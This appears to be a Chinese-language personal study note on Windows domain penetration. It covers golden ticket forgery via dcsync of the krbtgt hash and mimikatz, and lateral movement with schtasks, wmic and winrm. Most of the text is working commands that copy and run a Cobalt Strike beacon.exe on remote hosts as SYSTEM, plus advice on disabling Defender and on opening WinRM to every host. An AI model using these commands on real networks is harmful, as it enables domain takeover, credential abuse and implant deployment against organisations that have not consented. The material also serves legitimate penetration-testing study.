概述

web选手学习域渗透记录。

  1. 域渗透学习一

目录

  • 黄金票据
  • schtasks
  • wmic
  • winrm
  • sc

记录

黄金票据

获取krbtgt hash,在域控shell上执行

dcsync test.local test\krbtgt
# 获取Object Security ID 和 Hash NTLM

在win7普通权限shell,右键伪造golden ticket

# 查看
mimikatz  kerberos::list

# 此时可以查看到共享
shell dir \\win2016\c$

schtasks

注意/st 时间格式HH:MM,不要漏掉0。关闭了防火墙,提供了用户名和密码。或者管理员session,时间按照net time 第一个时间设置就可以。create 之后要 run。 此处时间存在问题,以远程目标机时间为准,即第二个时间。/np参数,但是这样只能访问本地资源,否则需要用户登陆,不行这样就没有网络。或者选择/ru system,这样可以不需要logon,到时间了可以自动运行。即使时间过了,用run还是可以运行,前提是使用了/ru system。还有一个捣乱的问题是,defender把beacon.exe给删掉了。

shell net time \\win10

shell schtasks /create /S win10 /u [domain\username] /p [password] /sc once /tn runshell /tr c:\beacon.exe /st 07:00  /ru system 

shell schtasks /run /s win10 /u [domain\username] /p [password] /tn runshell 

shell schtasks /delete /s win10 /u [domain\username] /p [password] /tn runshell /f

如果拥有管理员权限,/ru system 可以直接得到system 权限shell。

schtasks /query显示错误:无法加载列资源

# 在win7 机器执行
chcp 437
# 在打开的cmd中
schtasks /query /s win10 /u [domain\username] /p [password] /tn runshell /fo list


wmic

一是权限的问题,二是防火墙的问题。还有免杀的问题,演示时关闭windows defender. 使用管理员账号spawn一个session

shell wmic /node:win10 process list brief

shell copy beacon.exe \\win10\c$

shell wmic /node:win10 process call create "cmd.exe /c c:\beacon.exe" 

winrm

在目标机上,打开管理员权限的cmd

# 开启winrm
winrm quickconfig

winrm e winrm/config/listener

winrm set winrm/config/client @{TrustedHosts="*"}

在win7上执行

winrm -r:http://win10:5985 -u:[Username] -p:[passowrd] whoami

在cs 中shell执行一直提示句柄无效。可以直接用图形界面,jump winrm64 运行。

sc

参考 域渗透学习一

引用

  1. https://cloud.tencent.com/developer/article/1743842
  2. https://www.cnblogs.com/xiaozi/p/14263931.html
  3. https://www.cnblogs.com/lcxblogs/p/13847184.html
  4. https://drunkmars.top/2021/06/10/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8%E6%80%BB%E7%BB%93/
  5. https://www.cnblogs.com/websecyw/p/11238189.html
  6. https://blog.csdn.net/weixin_43713800/article/details/113195764
  7. https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-run